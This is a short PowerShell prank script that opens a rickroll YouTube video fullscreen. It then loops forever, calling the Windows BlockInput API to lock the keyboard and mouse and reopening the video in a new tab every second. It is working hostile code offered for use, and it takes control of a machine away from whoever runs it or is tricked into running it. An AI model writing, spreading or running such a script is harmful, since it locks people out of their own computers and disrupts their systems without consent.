powershell rickroll script (blocks user input + spams tabs)

Start-Process "https://youtu.be/C-YKvC2r-Xk"
Start-Sleep -Seconds 4
$wshell = New-Object -ComObject wscript.shell;
Start-Sleep -Seconds 1
$wshell.SendKeys('F')

$code = @"
    [DllImport("user32.dll")]
    public static extern bool BlockInput(bool fBlockIt);
"@

$userInput = Add-Type -MemberDefinition $code -Name UserInput -Namespace UserInput -PassThru

while($true) {
    $userInput::BlockInput($true)
    Start-Sleep -Seconds 1
    Start-Process "https://youtu.be/C-YKvC2r-Xk"
}